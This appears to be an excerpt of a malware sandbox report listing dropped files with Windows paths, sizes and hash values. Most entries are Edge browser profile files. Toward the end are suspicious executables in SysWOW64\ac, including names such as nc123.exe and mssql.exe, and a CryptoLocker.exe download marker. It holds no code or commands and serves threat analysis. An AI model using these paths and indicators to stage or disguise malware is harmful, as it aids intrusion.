0a927455f16e50a2dff5207694890d2f

SHA1
e213f0b0768ff331016ba8d166982387e130cdc7

SHA256
81b378cbadfdc5a2f6291d4b152ef4c3003856f973502b09bf1d381c269d59d5

SHA512
5c4613b7dcb4c5328a4b03ae73a28c1f5f0e58f25bb8c821a3e18e0ef8d064caab99b39ac69e6418cd90468f00e7f45d696ba22c4aefd4cf0a8f32696f653679

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
3KB

MD5
c5afaee99393c05f02c00cf4616be5ff

SHA1
a764be54a7cf5c0ad58c53757a1ca9e7d165c00a

SHA256
4d00dcf94b95c097e258e73a37b147d6ce9031389b4a0a6891c2eba06d6b7584

SHA512
c7b5bf350aac9d26a6fa51553e831777efc84a914ff49c58ff806d78e456000e62048193afaee686632125f006d292bf6f2f890b22a90e1d91e6553c9abc375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
4KB

MD5
9dad2aeb5f7c452cdf12108b4b72be94

SHA1
4d3bcf0c31f204e6720850cc1d67e751ad060773

SHA256
d033c03cad0c3560d43db1cd5444ccb62f2b71f66d8feba7db23ff6d07916d26

SHA512
863eb34e95a19bb55f148b7bdf1dd655fc6a9fb7875361c24914103b854d22b11cb586a41c600647494b88f221a418b9a3a97b528c3708b0979d1296ce6eee86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
d1f1455430c2a5e30ec55dece728004e

SHA1
d37c9e873a64e9ab3df541f08d7e335b5d91307e

SHA256
c217fde058252090aa0b44c377e08957b4ade43043a4c25db2a21fd4b7ef3d89

SHA512
858bd2d2448c15ee3f2f4ba35593c200befdde0458d210b03dfd4c36299448f9350cf5a928b2182397d831025009dfbb36ee6248556fee83317f1c3f456fb3d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a5fbf3d7b967dd39dd317f3a99603aea

SHA1
95b3d699c6d678dcd840e58ccc4db6247ab65c37

SHA256
a4576811838c9d660d24b10eedc0b68fceffa518ea385e2c582efe1cb4fa65a2

SHA512
abc07aefec0687deb4daea14ecfa43904dddaa2b170b7c4a691a21b46f05ba76934ee4c89915037a517520eb334b54a73b941cc3fa6043728c4b09ba580a3cf3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
2b09cc46c64a4bd7ef3396bad55e27d2

SHA1
a771bb3382ecb71ffeaf457f46c9297974757a7a

SHA256
972cc5409ceed3e3f4b32f8fce4b5c0103bbbcc3e0909fb8c3b1f1ff0f5feae1

SHA512
06aa6d551abc321b0aab68d5b4b854cf319da5e4328ff6291ad2b24fdfb683ad955c036463d9d3fca8bd41345fbeb394b62d6c73c8f144c3f9a5a71409e9aa29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
180076c15d63b2d32c07c94ad4af5591

SHA1
1bd41dcec2495c873201541a8a226ddac4d3898e

SHA256
1465c859ff7e5b0849edc6e91ca68c7e0ed11055e2621ff1d041911782a030b5

SHA512
ccba935f0aca1d25f8f233c684f9f4640f2bbafa0922daf6d923a92cf271d43886ab9dbe6ecfec4060b611cacb40dc77afc952333caeabee5affd8f647b4e47d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ddb9b2b9bde7debf55ebf6b0ef62661c

SHA1
d91e9a8ab71fa09e9bf856410e4fe6f3f3049da3

SHA256
4084b1732d3b08be45d8788b15040c74e41109f7e286870cda68e93b809f74e9

SHA512
820353c42e38c9d91af7755b19f96e8892871645c5048998babba62a85d6e627e21efa604fa313854c7e3602e9fae5ba34ebeed6ddbf66e0b4e9c5b5eafb6455

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
ec4fabe65847533190cd5e54efb311f7

SHA1
cffd8e19a0128a1ac4ffc19c28435231a410824b

SHA256
7738aa2e15b87e9548aace4bb79f808c1c8ed62c170f0fa10c1bdd6e2470712f

SHA512
29d79bea57cde8b71306f21ec34078733a7cc224fe04b867b4cb5983367434c4dcf7cb5e1869a862102d4456b22c92ad56ccb24846e5bce8ac351b49df7730aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
1ff536f7f844f05cc4a9e74bc3810e95

SHA1
de129d777b5df58ad560e68b94bb959e17fb75ec

SHA256
8eccf0c036dbba67485981b29478cc7b263a2f2bec9897f60ffde727145b59f7

SHA512
88a92951b863267137794fed7dc79b0ba6d04f345cac5e1fe5660ba2bc6a802160cd800774acc50d569bc56cae8b25d17a26579e2195cdeae76d311c7ea6ea70

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
531819e183cece3052870fc6c58eaf8d

SHA1
c9ac7fdfd9bf500e546354c0dfe39208f6436e77

SHA256
5c075baf8b20295a9432318cc37c3b0aa2cf9086445ccb336607a347c7b4b08d

SHA512
02ceb005b990a78f2347e5169a3891bef2dc504bad4f2bd796c08ae04c455e9798a17ec98ffa55e67bd3b17ffe28df94049c953c7db1db2572b4ded1fda5863c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
10KB

MD5
add445a83a646a9bfc7b5299bb238fb3

SHA1
2e282d5a12552316f434ba4f35b9d36d4c894920

SHA256
91a2b676e3886ef00f7adb3de60a7f22026c841542ec62b43d35f44d4cd39ad5

SHA512
617089c4ff51a87a95cdd2de741310710c0c18e078307323466e04e934def7138de225a4e8506976a06b71b61f611f6f905fcea89878eacbb6643ddaa62c2916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
fb2f79482af68675a59beabb3ac1c37b

SHA1
aed932fca967f1f47be1bb3e307fc103ba4f8dc8

SHA256
e82e4cd0271ab5fe0035ad8f496ee259421e97927790f4188dbb8b60fba16f75

SHA512
e927e3c4dfa0a20715eb4e699afedca13ce1ce01333c032b715bcf2abb00973e24f20b191dcfb85be735abeaea42d3d1b4884eeb1973b0933830077fcd39e7d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
7b41ef75cdb1cbf3dc95e552448b4c44

SHA1
4ffb3d9eacdbda4b757470ee7098073870c889c9

SHA256
9e5e003b207496284291e552372b922c56b7d1b9e938b2c92871a76d15478d7a

SHA512
4d1ba5f4c4ad902854b8677ad713c1e5ed757b85a5a27edc3c076abe9c21b7bf5c675f0d7c8f2dc7530db52426579410369caf8f6f51a18ff358f97e485c21e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
cf39b50e4760d7245684d786ccbf68b0

SHA1
7c5a0ddc05970ebbb1f6217a1a14594518a8deb3

SHA256
ea278780370bed1f260bc12940675b005845953576c6cac5de18c428586d319e

SHA512
4f42bd021c4d1733d30a1ad483f12d56c2a31e413d0b8f9f123c41297f7c585f26f8af8c884983ddc601f8cda1e6ff21af885f9ec6ee252bd52d496e42517114

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
48edf3f521d3ba34c26bd3617ce9c945

SHA1
14415334bf90b1179f1f941432c7cfb8cea94265

SHA256
0f30764770f4046c93f6454abc04680af5bca61533dbef3846620f7397403bdb

SHA512
d3acfdb979720a3b26c7c231743f94e7c3e2bbb55b4f69ca1da3e844189033eccb0ba1fc13aef1b3ce285e7023934cb139343d0268859c90b8406c99180422a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
b6a2097c5f0a309a89d0c84872fa01de

SHA1
f9be2bc738ff58995828648be6072e232142c0b7

SHA256
20c8556d19572d815238f951678ce5b71583628c131955ff6ead0f6d9129f529

SHA512
ce1b75bf6d6c06c1c96388f16a7d91da0838e1e5df0f4b063bc14a8d0ee5ee0085bbaf1a41534dd3ef71a184738699663ebaff9e2e3e13cfdcb7d2b7ae575cda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
5KB

MD5
23cd6aca2a0df8967ce8f9b922bb5eba

SHA1
51bca3c28fd5324fd907c6b305bcc925d02592e1

SHA256
76029088d071f4ff874e80ae7755186859ce1fb7362cb8357fea4a37afdc99c5

SHA512
d27bdf5c3f26c44da96a32d449924f2c8e5477213dc20e0aa07065132334713059a7f87e5dc546a50253dc5104dd56ca0d2ab298434fc4db8417d121ce96866b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
bfd672a4c82d97b7462d36843484da94

SHA1
c07c8844ca274dfcaaac49af4100f31a90f2ac5c

SHA256
4dfbefcb011dd2e04f74610120f93fe57c41118ca9ce93ad1b9f3f08c974e6a8

SHA512
1824f3fc895ef5d86fe5aba0d5133698082131ac3285761d168aa95be80a6c5acb95f8dfa63d442a5ffabeedbe224d3a9c331d910b98513a421da00a5a0be1f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
08aca585d3065c068571e7087a019f09

SHA1
d72424a77f539b25268f0402043534a4a04c0fe0

SHA256
2aa8cedd7ce87ea51057bd3fec85bf310b4749c09574c9e47cf42a5913c61ce6

SHA512
8acc15c2b9c573a58ab37d82daadb9484839a2059e2a1c6026610b1ec189e2433025071a0d505c51bbef230e8fc5091d34bc2101d5040b5deb7f706718cc00c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
d8ba0d4228d55385404e4aaff57b615a

SHA1
55930fa3b350dd2631010c984270213f52886d24

SHA256
0d90fbe5daee7a9fac2347323794ee054e1a9e9263d29c01c7e388725d9671a1

SHA512
1b2900967ca61abc0167ca9df121bde761b7f941c110c5eac6cc562a27916be7fbc60b6bdbaf8e9537b424a1399ef3eb90db8328ee84c432a882ffee7b38cc95

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
5KB

MD5
ab1de377953d3c1e8fb3cbefba1f5808

SHA1
72bc533826485c08d3be90b356509da0af7e9f8a

SHA256
f874fcc2699a01309b036e0e15a1c969f30853aae27a6bc8526bf83e7645eca7

SHA512
177ab7070e92d81367f793575fcfa11dbbdd5889883911e0a35dbd154e77618f3129b417d7c8ea85ec3c8aad241f53bf77e4c78c5d2fd784856c26c07a74d9cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
5KB

MD5
74e8f7992d2cae46875682344c2b9420

SHA1
36315936242366ba5706809f80e9d1528ad6fced

SHA256
59dedafd5173eb2fe003b16b0a4fbb72857268df6c166793b9b02e648f956642

SHA512
722dbaa21635cc7303424b13ce3f4e270da2a8d3e5855f9d45a47c237becfd2d6f2452f38e782ec6cd4dc901c9b4112afaa13c3052133962ea22c610be9fdf5c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
a845d0cc31131751478f3e638ee49f39

SHA1
ce38eab9404dd3fd831efa00c2522bd124d47801

SHA256
c1fe3628d7121b8d3881faa1035178db90851c2a314e9b9bc962018964c565f1

SHA512
6d3d57988df9d7fc0affcf37f2d76d3151f31d264d7b17d00177b91321c65e426ce168af1da2d2960c4c74f13dee7d55d8450b78b373eb4167c1240a7cf02795

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
d1c9cdb97c37bfbab670086f60a26cb6

SHA1
187c063f9db105a3092df2977b91be3ad70287fe

SHA256
ed6e37a4fb46f7dd24ca03aa5410513eb803ae3d10c1df5233d2e2ffee0a844f

SHA512
e919a5ba566c960aeb59105337e061c92c9fcf5e63dbf56055d125fa0d9b5f879b69916549805713a559b96109a5b267c223577c6398b0a535f5b388774434ac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
a7d08cdc7c11618c7a64fcdfa9943a00

SHA1
0a83305d0e013d9bee1cbfa82f0346139b538deb

SHA256
94302a5cb9e22e688e09f1bda68e9d18ada9cf94a9380130e4760d48651896a9

SHA512
1305b44990c7b2f57fea195a7837aaaa8030afe466b0db07d6b1a1e5a774cdd150ab54fd608143e72d571ba03f6eedec18b030d83b91bba0cc2168307089713f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
f80bebcd57e1fc4d264362550f71bd4f

SHA1
be233b508c221f159cfa8f15e700bac637de849a

SHA256
3009e2d997fc447dc88dd20e16f41a5bf39547d5df465b8c0bc03ee998dcfd15

SHA512
ee0f930c30c2d876bfb6fb8c863a2549f6757d8077ec0c10547a273a7f7bf41f985e24c8f052d3f88db320adddc339bc0a8be76e96d228490aec11f3c8e0b09c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
5KB

MD5
c0c25e98c2a9d142db2901db0640bd22

SHA1
6190bf991c3e7a89e8bc8032b56ec4d44de296fb

SHA256
fb6edf25c7ba19a0548277ba1c81e21bb6de6c99f73569b2c502a4e4071dbb20

SHA512
1d3ac47ba6cf3ff234fcc14b2615d3f25f7322071adef17036e8dae1305946715ca6612951ab28b619656265e98bea7232b1afb7260ac58d2b77ac327414f217

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8faf0a85735c50478b57e650f7e9d5fc

SHA1
f8cf12ba720f7b2a7e300c9a80c039cbf11ea55e

SHA256
0f027e02001652da3c1fa97d03e876110ea11418729d63c498a872f85a47eabf

SHA512
52f389f28241e97b2a795cc814841cd464843efefbdb1bc4594f7ee6a1081e1165d1f5d7854d926074d3f32b9ae173e8eaaa9825d92e4222dbae3e6b84fef047

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
477ec310148e7c211b73fb192a3ffaa1

SHA1
567840b4cfeb725ef1d5ab5c203ed831aceaa8e1

SHA256
052c05f720fcbda88f3fe190c2f1b726381bef85f3701b5fa67bceca1d1acdfb

SHA512
95a582c665505bc9bbb92446ebecbcb389d8945761a3fa5d489dcebb22561b19ad2a7ebaf3e55a979ffaf330f3fb6e590af5d430bed5aaed586e4805e1c33827

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
19826026a6e2e9ef86544951ec698675

SHA1
62a875b8eac9169ce8102f8e6aa716fd645c96e8

SHA256
a48aaed231e3fec621b91a8be49f460811dc3ec272b4e7dd42f943a000e6eaf4

SHA512
a451c7c037725db5af9128013a4ac9a4193b25c9cec7146f5c33e60a33429e127d7d527c7be5802996fab94af4b202d0e7b804c95bf6e12fcf6067b8dceec6c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
80765e546e9a7bf24742f85281fc8cda

SHA1
72f9e1e22c84d588d57aa0b4ff0233616cf5d4e4

SHA256
6d660e49c3113608e5e213d565c42016bbe4832dffde84969d2212335a4f0ecc

SHA512
d87856af7cca67dd958777f57b306614ecc8415da2758cd15ce1f08ecd66d33cf5d5f425aec1a9e3634e05e714c5b4037057c71bd4d9bb582723f1e1069f3b0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
101f26d9b09fb01cbc0c0ea7e8a92b6e

SHA1
ccf92897a9bd42d8ddd1e5a6ccc7f8a0765fce3e

SHA256
2d1beba83e22c0229ae7f7c217c50813caf7a1555bbdc34828818c676d5dc1ac

SHA512
da4053f62481184125428fa62d82a877f3c4c5d5b01a110316ba6329c21390853ff1abf140fae467102d46afd2efd37fccb3dee9b725874e32b73781ca57bfe5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
5KB

MD5
49eef34a6680b764b84981e31ceafda4

SHA1
5d3cac60babb849d519a93ea4b3f12e6c4d21f99

SHA256
a154695d4e299da8f5ac6d5dce43231cda06d18d6b8dc1138ea9f5d9111032a8

SHA512
fd5d2021364ffe6c648f136a2a41413d0049f1fb2a43acbca8ecc949b88880fc2c5c58cdc33985aa92fe9d58f2a145be227a56b22752c6b81ad287d722a735b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58051c.TMP

Filesize
537B

MD5
c6bc5835902584ed0d8c1f0a01f9a51a

SHA1
2fe9fd1d973fb76def73bd11c1a59785b0972c7b

SHA256
38c3d7613ac474874c6a1bf56fcd70ea268aaf49c5618908499e3cbea3ed2aaf

SHA512
309720b45fca58281ce6de279b52e735600bad0ad4cb172b1f9bc5805d31c07e07dc6d7ab19093fabe81a0814ff0391ee597684d81927c036cf2aa9f65c8ac33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\da989d8a-8616-47a9-aaca-3ba57e133425.tmp

Filesize
759B

MD5
df1e6dcbf965e3e41a9dbb12a0288aba

SHA1
9af6315ef67f3d9a4fccf6f22b6acbcf7dea2239

SHA256
3f78687c1081409c8124119a390cf770ab7c78f6e71aeb7b5402719a86c90ce3

SHA512
3082a9cf294b0b6ebb9451a9b0ed591c3fbcd8bbc128732fc19586b67493af86cd17e144ffd0a6507b6b7866f7c35e82822180a5c79de10a34dd23b21232aab8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3b41f4a57c9c864831c49d3e88a07b2c

SHA1
560b5bdbf67a9178c3008f0790e8e66572b7e748

SHA256
2868f8c0424eca20fde9c3e419aacee35db66e1f1255183431623c3d3a7d912b

SHA512
2672983bd36a019d9525befd18cfe21102679825947c70c28c8de5ab65c460749bc46c5fb2be1370a3486bb5220bb2243ac1b29f0e4fa21904dbff98f5efd2d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
9b7771465f0521a7248ff811bb7e6a9c

SHA1
fe16e62da5a8c328469eb7b2d482e320075dc71e

SHA256
9b20cba728d2192b5ad51b36b3968f4efb12dbff7c287160ee8e75a4091d617d

SHA512
9c8fa897e83caf39027394a959a2a526fb84bb89d388235f7d82a5b9e0576726fc436fb3e9bcc392d80f26d9d20ddefec45d7149e2f457176cbb2b5fea6df986

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1d6d809b4e686c4fa35ddef0f3afd039

SHA1
7037ff3f95f51b91d526ea17a7c5ef0b4a202160

SHA256
21ca81c6ff2eca4c8982d2e2c4d95cc31e245cbc73e17c7b5b230f7b2634d635

SHA512
132b6089dadff92071750b85ce66a82630de5bac6da9ce8fb8d5d494127dd78233c013fd766f2a4a686335e4ab819f0c682b3a1c2c9dc70d9fa8cdac760554f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
027f638caa6d4b0731286236fc13aade

SHA1
8836ba6d9ebed4d9c57a83dc990c42dcc417bcec

SHA256
95a45e1224550c1c5afaabbf900104b53794f89057ad9004ba1f6bc202697e03

SHA512
9631d73655650be9366243819937dcd513cabcbdc5a1ce078143da49880e029d649ad08853b7d1402d17d6c8bf51a7311613dcf868a0417c9338ab0649e2d968

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
b36c38799aed9d2d643156e9eaf8545c

SHA1
8205afe394159326ca94aafc4629814d85a0283b

SHA256
2c766afd147c25df3237cf2256cda9312b5d72e2ff2aa3e486e858b3c9c255e8

SHA512
58a8c21001ac0bb75f923b64cd4e5896fed8afb28ee7562960be9a55bd72aca6a62e97a71e2a9d546049a1acf18d2807a202a3cd53123f3064eadbad2208ec33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
9ed5f5ccd9133e1c33af9908b22ab153

SHA1
bf5ee90f8c3cae2b596604760b43a5198a427fe0

SHA256
e4e71efba957b918b960fa9efadad4ceb95e729a09b9a86cd37008ae0554dd03

SHA512
419e5bfa71210ee665db9821e80b9865681f0ef340311d0b2cc15d51e5f6e81c7a33687bdf7f5beca97b76dfc5df4ab5f2a4a7f8a63e2dea15e746a2b2b170cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
2468ffe446d290aaa2a0de0c7ba9ae37

SHA1
0ce6a0f7d2f8f565912c33f1a8eaa0ae38db4b82

SHA256
94d9708df08427265e10badba289fab30801f0bd55cae16201e05eaa2c09ee92

SHA512
bae7626c7d29f459713c05aaefd4192c569481ba9cb62353dac1157045c8fac9da06e8afae02577d99584f4b6f5a96d8187ef12f004b37afe9058807202d156c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
174a65d3c5617648a67b393d74691a3e

SHA1
23b138055e09d04f34228d0adf7023a26e65d262

SHA256
2bd6904afb8a2746eb6a746126191f801916dade84d5bb8253c69319efe6f0ee

SHA512
e60a7cdbc672d5119fc7157bad4315c3f08a76b2493c994282de07915d1f7e95a2f135d474d6e1982c248500b4430d4ed6965e217c8f68cef4250b9116c34942

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\4a97c0ed-2c2c-40b4-9e32-c94a50687c2a.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
1301a13a0b62ba61652cdbf2d61f80fa

SHA1
1911d1f0d097e8f5275a29e17b0bcef305df1d9e

SHA256
7e75ad955706d05f5934810aebbd3b5a7742d5e5766efd9c4fc17ee492b2f716

SHA512
66aa4261628bb31ee416af70f4159c02e5bbfbe2f7645e87d70bb35b1f20fa915d62b25d99cd72c59580d1f64e6c6b5ad36ace6600d3bcdb67f45036d768ed8b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
16KB

MD5
208f1294240eba47389e5d9b9d30391f

SHA1
d2d2b34c71a355ad50beb4936c98f27ac15091ec

SHA256
01eb4538fcb4b9393f5962f09e9085aaa5e7920eac558f7826b853413fedefb4

SHA512
d488ea0381ecdc832d4472b09f7a16fc1d5ed03a2f3917535d6581726fbde5a6bebbc6f10a28f6ef73a6951044ae6c071be8c5fe56149a3262fb8fa832864520

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
17KB

MD5
5d983334696fcf563af389e4a66824e6

SHA1
211c2ffce43ea9e4acb1a8dfaa201fabaecf98b9

SHA256
316144239f8f08be4de2706a1fbb2e902bbc0bda56abd8fa099ac348c56d61f7

SHA512
4475b7e02ff1fa75251c98de0ab2c59d26ea8fd0140c1188226e95cc4564843b37000c336eac33888113fad0ae3212bee6f571c3dd1af65a1a525b872b4f5221

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
16KB

MD5
529df95903285a59fb9f0e133e9f8c02

SHA1
867bcc9d4ff081394394e8303142d88d9991ceaa

SHA256
e31347accab8f570465a70f3577b60e1ffaa0399d39c9d4ba41fd7bc253c9e44

SHA512
a75fbe50c2841d5a19db4eff9756fc0a576d7d5093d860c58e032ddb712674777919c6111f1dea2b0bbed2c7cb37d0e5ff307f5c6c7a074b3e296776f3b71caa

Download Submit
C:\Users\Admin\Downloads\CryptoLocker.exe:Zone.Identifier

Filesize
239B

MD5
4b7847bb56d14e515b4fd82d49118f33

SHA1
06c897d9807815f5186f0ac8ebe6b67cf965555e

SHA256
db80957b88fe98013083fc10110feee4be9d5a2abd35482b704c22dcc7682b16

SHA512
8886e89dfaeb4d46cf089126348c409b458c76f0fa5c01515aa85a86dbc816f730cd0f8cf2dd399abf1df3039b4348e97bef18fa8188dc3378b7b03e2b4cf154

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 257249.crdownload

Filesize
338KB

MD5
04fb36199787f2e3e2135611a38321eb

SHA1
65559245709fe98052eb284577f1fd61c01ad20d

SHA256
d765e722e295969c0a5c2d90f549db8b89ab617900bf4698db41c7cdad993bb9

SHA512
533d6603f6e2a77bd1b2c6591a135c4717753d53317c1be06e43774e896d9543bcd0ea6904a0688aa84b2d8424641d68994b1e7dc4aa46d66c36feecb6145444

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 441043.crdownload

Filesize
7.3MB

MD5
9471c5c0558f180f55f3c5b9f4e0a8b3

SHA1
154f23147782a16ddc377f54d692502025225382

SHA256
0c86b1163110a395ba9c452c62b4fa3cc1e0f8a51b9a78f0c0410961f4c0de0f

SHA512
483a7cdd9ce17e8461fb93badb4e8737c3fe469a9b547cd423e1566a35f98fac450bc3ce9e19f4e25efeba388f9cfe4e5453a61ac7eb677f7d3d5b060e5cca9a

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 926582.crdownload

Filesize
42.1MB

MD5
5a5248293e00d3ffeed6d5dd194729af

SHA1
18078a06275b7ef91b1ced7dccdf0c7b4533fdc4

SHA256
28343aceb4dcf88bc96a0eec58b8c9d06dbb1f4a12206dc73942252329719f51

SHA512
363817b201142e24104c2bcc7fa882e68fbf8fb53b4f162b9c5d85ba182061205432fe10ab350223acb54f8c8e616e8d6c997fc750f3b95fe00fb80131ec9b3b

Download Submit
C:\Users\Admin\Downloads\Verus.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Windows\SysWOW64\ac\EVER\SearchHost.exe

Filesize
1.6MB

MD5
8add121fa398ebf83e8b5db8f17b45e0

SHA1
c8107e5c5e20349a39d32f424668139a36e6cfd0

SHA256
35c4a6c1474eb870eec901cef823cc4931919a4e963c432ce9efbb30c2d8a413

SHA512
8f81c4552ff561eea9802e5319adcd6c7e5bdd1dc4c91e56fda6bdc9b7e8167b222500a0aee5cf27b0345d1c19ac9fa95ae4fd58d4c359a5232bcf86f03d2273

Download Submit
C:\Windows\SysWOW64\ac\mssql.exe

Filesize
10.2MB

MD5
f6a3d38aa0ae08c3294d6ed26266693f

SHA1
9ced15d08ffddb01db3912d8af14fb6cc91773f2

SHA256
c522e0b5332cac67cde8fc84080db3b8f2e0fe85f178d788e38b35bbe4d464ad

SHA512
814b1130a078dcb6ec59dbfe657724e36aa3db64ed9b2f93d8559b6a50e512365c8596240174141d6977b5ddcf7f281add7886c456dc7463c97f432507e73515

Download Submit
C:\Windows\SysWOW64\ac\mssql2.exe

Filesize
6.7MB

MD5
f7d94750703f0c1ddd1edd36f6d0371d

SHA1
cc9b95e5952e1c870f7be55d3c77020e56c34b57

SHA256
659e441cadd42399fc286b92bbc456ff2e9ecb24984c0586acf83d73c772b45d

SHA512
af0ced00dc6eeaf6fb3336d9b3abcc199fb42561b8ce24ff2e6199966ad539bc2387ba83a4838301594e50e36844796e96c30a9aa9ad5f03cf06860f3f44e0fa

Download Submit
C:\Windows\SysWOW64\ac\nc123.exe

Filesize
125KB

MD5
597de376b1f80c06d501415dd973dcec

SHA1
629c9649ced38fd815124221b80c9d9c59a85e74

SHA256
